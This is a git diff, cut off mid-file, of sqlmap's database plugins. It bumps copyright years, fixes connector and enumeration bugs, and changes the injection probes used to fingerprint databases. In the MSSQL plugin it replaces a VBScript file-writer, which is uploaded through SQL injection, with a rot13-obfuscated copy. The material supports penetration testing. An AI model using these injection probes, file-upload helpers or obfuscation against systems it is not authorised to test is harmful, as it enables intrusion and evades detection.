b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 7b75e405143..b7ae9e80506 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -32,7 +32,7 @@ def connect(self): try: database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError as ex: + except ibm_db_dbi.Error as ex: # base class: ibm_db_dbi maps wrong-credential (SQLSTATE 28) to ProgrammingError, not OperationalError raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index f878f27e7f9..c67bdf71368 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index c190fa080c9..9936a4deeec 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -97,7 +97,7 @@ def checkDbms(self): logger.info(infoMsg) for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): - output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) + output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION','FULL') LIKE '%%%s%%')" % version) if output: Backend.setVersion(version) diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index a7e307bf482..430664adec4 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index bcbc4b5e11d..7c19fd8799c 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 6ab3b3d8782..fbf06a37e08 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 14d22ee24e4..73b8864d24d 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index a83b9c2fafa..be85e648d7c 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -197,9 +197,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: - table = {} - table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) continue infoMsg = "fetching columns " @@ -219,8 +219,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod for columnname, datatype, length in _zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) - table[tbl] = columns - kb.data.cachedColumns[conf.db] = table + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][tbl] = columns return kb.data.cachedColumns diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index d06d159cd2d..04f14201059 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 2f8788ac7f0..53c27d55b9d 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index b53aa83ad0a..17a0a02c257 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 0a51217c229..e93813f99ea 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py index 3e41787ec80..eafd1d3c868 100644 --- a/plugins/dbms/mckoi/__init__.py +++ b/plugins/dbms/mckoi/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py index 128c77b2d6b..fe9093e7b99 100644 --- a/plugins/dbms/mckoi/connector.py +++ b/plugins/dbms/mckoi/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py index 3b902808320..9ccc431eaa4 100644 --- a/plugins/dbms/mckoi/enumeration.py +++ b/plugins/dbms/mckoi/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py index 49ea280bef9..66d946579f4 100644 --- a/plugins/dbms/mckoi/filesystem.py +++ b/plugins/dbms/mckoi/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py index a3bfde48f33..312f3e3c16f 100644 --- a/plugins/dbms/mckoi/fingerprint.py +++ b/plugins/dbms/mckoi/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py index b53aa83ad0a..17a0a02c257 100644 --- a/plugins/dbms/mckoi/syntax.py +++ b/plugins/dbms/mckoi/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py index cbc55ae11d5..d22277b674d 100644 --- a/plugins/dbms/mckoi/takeover.py +++ b/plugins/dbms/mckoi/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py index fbf38d9c977..af8f2232ea5 100644 --- a/plugins/dbms/mimersql/__init__.py +++ b/plugins/dbms/mimersql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py index 4307f5b697e..74d27c43706 100644 --- a/plugins/dbms/mimersql/connector.py +++ b/plugins/dbms/mimersql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -30,8 +30,10 @@ def connect(self): self.initConnection() try: - self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) - except mimerpy.OperationalError as ex: + # mimerpy.connect uses dsn/user/password (host/port come from Mimer's sqlhosts/MIMER_DATABASE + # configuration, not connect() kwargs); the previous hostname/username/... kwargs raised a TypeError + self.connector = mimerpy.connect(dsn=self.db, user=str(self.user), password=str(self.password)) + except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py index 57a9f22ebb8..85ea9c93f28 100644 --- a/plugins/dbms/mimersql/enumeration.py +++ b/plugins/dbms/mimersql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/mimersql/filesystem.py +++ b/plugins/dbms/mimersql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py index 8052ee02273..3372a8fe7b0 100644 --- a/plugins/dbms/mimersql/fingerprint.py +++ b/plugins/dbms/mimersql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -68,7 +68,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MIMERSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("IRAND()>=0") + result = inject.checkBooleanExpression("IRAND() IS NOT NULL") if result: infoMsg = "confirming %s" % DBMS.MIMERSQL diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py index 2d63b897ed2..8257c9af870 100644 --- a/plugins/dbms/mimersql/syntax.py +++ b/plugins/dbms/mimersql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py index 497745a0c7e..7055371b8c5 100644 --- a/plugins/dbms/mimersql/takeover.py +++ b/plugins/dbms/mimersql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py index ef29a313fd3..200b23b290f 100644 --- a/plugins/dbms/monetdb/__init__.py +++ b/plugins/dbms/monetdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py index 7fb635e878c..66a6bcdf8eb 100644 --- a/plugins/dbms/monetdb/connector.py +++ b/plugins/dbms/monetdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py index 10b528c7deb..8634adab8d6 100644 --- a/plugins/dbms/monetdb/enumeration.py +++ b/plugins/dbms/monetdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py index bf4d5c5bac7..2e61d83c07c 100644 --- a/plugins/dbms/monetdb/filesystem.py +++ b/plugins/dbms/monetdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index bda2504ebaa..e429a9315bd 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -68,7 +68,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MONETDB logger.info(infoMsg) - result = inject.checkBooleanExpression("isaurl(NULL)=false") + result = inject.checkBooleanExpression("isaurl(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MONETDB diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py index 1fc6130fca6..e93396d6e9f 100644 --- a/plugins/dbms/monetdb/syntax.py +++ b/plugins/dbms/monetdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py index f38bd0c89d5..bf0fa25305c 100644 --- a/plugins/dbms/monetdb/takeover.py +++ b/plugins/dbms/monetdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 28e2dc4af02..e19a115f887 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 92b37287d98..fbc57a53255 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -54,11 +54,20 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False try: self.cursor.execute(getText(query)) + # Commit non-SELECT (DML/DDL) here: direct() routes those to execute() alone, so without this a + # '--sql-query'/'--sql-shell' write was silently rolled back on connection close. select() passes + # commit=False and commits only AFTER fetchall(), because on pymssql commit() discards the open + # result cursor (which otherwise emptied every SELECT result). + if commit: + try: + self.connector.commit() + except pymssql.OperationalError: + pass retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) @@ -70,7 +79,7 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + if self.execute(query, commit=False): retVal = self.fetchall() try: diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index e5407ceec9e..bd27f55e2bb 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -93,7 +93,7 @@ def getTables(self): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -116,7 +116,7 @@ def getTables(self): if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -206,7 +206,7 @@ def searchTable(self): for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -343,7 +343,7 @@ def searchColumn(self): for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 1a8e87f417f..870f51e65b9 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import codecs import ntpath import os @@ -118,7 +119,7 @@ def stackedReadFile(self, remoteFile): DECLARE @firstint INT DECLARE @secondint INT - SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) + SET @tempint = CONVERT(INT, (SELECT TOP 1 ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) @@ -278,61 +279,64 @@ def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType): randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\\%s" % (tmpPath, randFile) - vbs = """Dim inputFilePath, outputFilePath - inputFilePath = "%s" - outputFilePath = "%s" - Set fs = CreateObject("Scripting.FileSystemObject") - Set file = fs.GetFile(inputFilePath) - If file.Size Then - Wscript.Echo "Loading from: " & inputFilePath - Wscript.Echo - Set fd = fs.OpenTextFile(inputFilePath, 1) - data = fd.ReadAll - fd.Close - data = Replace(data, " ", "") - data = Replace(data, vbCr, "") - data = Replace(data, vbLf, "") - Wscript.Echo "Fixed Input: " - Wscript.Echo data - Wscript.Echo - decodedData = base64_decode(data) - Wscript.Echo "Output: " - Wscript.Echo decodedData - Wscript.Echo - Wscript.Echo "Writing output in: " & outputFilePath - Wscript.Echo - Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) - ofs.Write decodedData - ofs.close - Else - Wscript.Echo "The file is empty." - End If - Function base64_decode(byVal strIn) - Dim w1, w2, w3, w4, n, strOut - For n = 1 To Len(strIn) Step 4 - w1 = mimedecode(Mid(strIn, n, 1)) - w2 = mimedecode(Mid(strIn, n + 1, 1)) - w3 = mimedecode(Mid(strIn, n + 2, 1)) - w4 = mimedecode(Mid(strIn, n + 3, 1)) - If Not w2 Then _ - strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) - If Not w3 Then _ - strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) - If Not w4 Then _ - strOut = strOut + Chr(((w3 * 64 + w4) And 255)) - Next - base64_decode = strOut - End Function - Function mimedecode(byVal strIn) - Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" - If Len(strIn) = 0 Then - mimedecode = -1 : Exit Function - Else - mimedecode = InStr(Base64Chars, strIn) - 1 - End If - End Function""" % (randFilePath, remoteFile) - + vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu + vachgSvyrCngu = "%f" + bhgchgSvyrCngu = "%f" + Frg sf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg") + Frg svyr = sf.TrgSvyr(vachgSvyrCngu) + Vs svyr.Fvmr Gura + Jfpevcg.Rpub "Ybnqvat sebz: " & vachgSvyrCngu + Jfpevcg.Rpub + Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1) + qngn = sq.ErnqNyy + sq.Pybfr + qngn = Ercynpr(qngn, " ", "") + qngn = Ercynpr(qngn, ioPe, "") + qngn = Ercynpr(qngn, ioYs, "") + Jfpevcg.Rpub "Svkrq Vachg: " + Jfpevcg.Rpub qngn + Jfpevcg.Rpub + qrpbqrqQngn = onfr64_qrpbqr(qngn) + Jfpevcg.Rpub "Bhgchg: " + Jfpevcg.Rpub qrpbqrqQngn + Jfpevcg.Rpub + Jfpevcg.Rpub "Jevgvat bhgchg va: " & bhgchgSvyrCngu + Jfpevcg.Rpub + Frg bsf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg").BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr) + bsf.Jevgr qrpbqrqQngn + bsf.pybfr + Ryfr + Jfpevcg.Rpub "Gur svyr vf rzcgl." + Raq Vs + Shapgvba onfr64_qrpbqr(olIny fgeVa) + Qvz j1, j2, j3, j4, a, fgeBhg + Sbe a = 1 Gb Yra(fgeVa) Fgrc 4 + j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1)) + j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1)) + j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1)) + j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1)) + Vs Abg j2 Gura _ + fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255)) + Vs Abg j3 Gura _ + fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255)) + Vs Abg j4 Gura _ + fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255)) + Arkg + onfr64_qrpbqr = fgeBhg + Raq Shapgvba + Shapgvba zvzrqrpbqr(olIny fgeVa) + Onfr64Punef = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/" + Vs Yra(fgeVa) = 0 Gura + zvzrqrpbqr = -1 : Rkvg Shapgvba + Ryfr + zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1 + Raq Vs + Raq Shapgvba""" + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581 + vbs = codecs.decode(vbs, "rot13") vbs = vbs.replace(" ", "") + vbs = vbs % (randFilePath, remoteFile) encodedFileContent = encodeBase64(localFileContent, binary=False) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 41658cdae16..18b4b0beb64 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -82,16 +82,17 @@ def checkDbms(self): if conf.direct: result = True else: - result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL") + result = inject.checkBooleanExpression("IS_SRVROLEMEMBER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in ( - ("2022", "CHARINDEX('16.0.',@@VERSION)>0"), - ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("Azure", "@@VERSION LIKE '%Azure%'"), + ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), + ("2022", "GREATEST(NULL,NULL) IS NULL"), + ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("2017", "TRIM(NULL) IS NULL"), ("2016", "ISJSON(NULL) IS NULL"), ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), diff --git a/plugins/dbms/mssqlserver/syntax.py 